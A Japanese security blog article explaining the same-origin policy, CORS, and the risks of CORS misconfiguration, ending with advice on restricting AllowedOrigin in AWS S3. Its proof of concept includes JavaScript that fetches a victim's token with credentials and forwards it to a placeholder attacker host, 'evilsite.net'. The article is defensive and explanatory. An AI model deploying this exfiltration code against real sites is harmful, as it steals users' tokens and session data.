情報を共有して便利なサービスを提供したいという想いがオリジン間リソース共有 (CORS)を産んだ
現在のWebブラウザでは、標準で同一生成元ポリシーという情報の悪用の防止策が適用されています。同一生成元ポリシーはオリジン つまりスキーム(http://,https://など)、ホスト(sample.com)、ポート(80,443)の組み合わせが全て一緒でないと情報は共有しませんというポリシーのことです。(詳しくはRFC6454をご覧ください)セキュリティに偏った観点からは素晴らしいポリシーですが、サービスを作る側としては外部のサービスやコンテンツの連携をしようにも他社のサービスのオリジンは当然異なるので利用できません。セキュリティの侵害による被害もありますが、ダメ絶対としてしまうとWebの世界の発展を阻害するという被害の方が大きくなってしまいます。そこで異なるオリジンのサーバーにある選択されたリソースへのアクセスを許可することができる仕組み、オリジン間リソース共有 (CORS)が誕生しました。
facebookの「いいね」を設置できるのもCORSのおかげです。
同一生成元ポリシーにはもともと従ってないものも少なくなくありません。実際、HTTP認証はpath名を元に認証情報を送信します。Cookieはpathやdomain指定が可能であり、またスキーマ共有はデフォルト有効でSecure属性とHttpOnly属性のオプションで制限します。(詳しくは「CookieのSecure属性/HttpOnly属性の指摘と修正方法と脆弱性の解説」に書いてありますので併せてご覧ください。)
さて利用できると言うことは悪用できると言うこと、CORSの設定不備があった場合どんな攻撃と被害があるか考えてみましょう。
CORSの設定不備による攻撃と被害
重要処理の前にトークンやプラベートキーをJSONで取得するアプリケーションを想定します。脆弱な設定の確認方法(PoC)は以下の通りです
※許可を得た場合、自己所有の環境から絶対でない場合を除いて攻撃は実行しないでください
1.リクエストヘッダーにOriginヘッダーを攻撃者のサイトに指定して送信します。レスポンスに「①Access-Control-Allow-Origin: https://evilsite.net.net、②Access-Control-Allow-Credentials: true」が確認できれば脆弱です。②がなければ被害の可能性は大幅に低減します。
リクエスト
GET /api/requestToken HTTP/1.1
Host: <targethost>
Origin: https://evilsite.net
Cookie: sessionid=…
レスポンス
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evilsite.net.net
Access-Control-Allow-Credentials: true
{“[token value]”}
2.被害者が以下のコードを埋め込んだサイトを訪問すると情報が抜き取られ転送されます。
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(‘get’,'<targethost>/api/requestToken’,true);
req.withCredentials = true;
req.send();
function reqListener() {
location=’//evilsite.net/stealtokens?token=’+this.responseText;
};
3.転送された値を悪用して情報資産の侵害を行う
トークンは一回性の制御など危険性が低くなる要素がありますが、BitCoinやRESTAPIサービスに登録されているプラベートコンテンツのUUIDなどが漏洩すれば、不正アクセスにより情報資産を侵害される可能性が十分考えらえます。今回の例示のせいでCSRFに似ているかたも少なくないと思いますが、CORSの設定不備に関する攻撃の被害は主に「重要情報の盗み出し」です。さらにその中に含まれるtokenやアクセスキーなども利用可能なため、フィッシング用のサイトに攻撃対象のサイトで行いたいことをコーディングすると、トークンやセッション、推測できないリソースIDなどのセキュリティ対策を突破して自動的な攻撃を実行することが可能です。
サイトごとのカスタマイズが必要ですがツールの進化やプログラム教育も始まるため既存ツールでは攻撃されないと考えるのは危険です。セキュリティ診断では低く評価されがちなので指摘を受けたベンダー側でしっかりリスクを把握しましょう。
XDomainRequest と XMLHttpRequestの違い
XDomainRequestはXMLHttpRequestの使えないIE8とIE9の代替え品ではありません。XDomainRequest は XMLHttpRequestに比べ非常に制約が厳しくなっています。増えた制約は「 GET /POST メソッド のみ利用可 http , httpsスキーマ のみ 利用可能、Content-Type は text/plain のみ、クッキー は 利用不可能」です。それにIE10,11でも利用可能です。Edgeでは利用できませんが・・むしろXDomainRequestが対応しない場合に制限をしっかり加えたXMLHttpRequestを利用すると言った方が近そうです。
次に対策の例を考えるためにAWSのS3を例にセキュアな設定を目指してみましょう。
CORSの設定ができるS3はAccess-Control-Allow-Origin*がデフォルト
最近はS3でサイト構築するのも流行っているせいでしょうか。バケットのプロパティ画面に「Add CORS Configuration」が追加されCORSが設定できるようになっていました。もうJSONPとかで頑張る必要がなくなったと思ったのですが、S3はAccess-Control-Allow-Origin*がデフォルトになっていました。今回の記事の教訓を活かしセキュアに設定してみましょう。
バケットのプロパティ画面から「Add CORS Configuration」のプラスボタンを押す。
<CORSConfiguration>
<CORSRule>
<AllowedOrigin>*</AllowedOrigin>
<AllowedMethod>GET</AllowedMethod>
<MaxAgeSeconds>3000</MaxAgeSeconds>
<AllowedHeader>Authorization</AllowedHeader>
</CORSRule>
</CORSConfiguration>
早速、*(ワイルドカード)にしてくれているのでここは決め打ちで要求先を指定してください。オリジンはスキーマから指定してください。詳しくは公式のページ「Cross-Origin Resource Sharing (CORS)」に書いてあります。
<CORSConfiguration>
<CORSRule>
<AllowedOrigin>https://mysite.s3-website-ap-northeast-1.amazonaws.com</AllowedOrigin>
<AllowedMethod>GET</AllowedMethod>
<AllowedHeader>*</AllowedHeader>
</CORSRule>
</CORSConfiguration>
この例に限らず、firebaseのアクセス制限など初期設定は非常にセキュリティ上危険なのが常識なので、必ず疑って見直すことをオススメします。
以上です。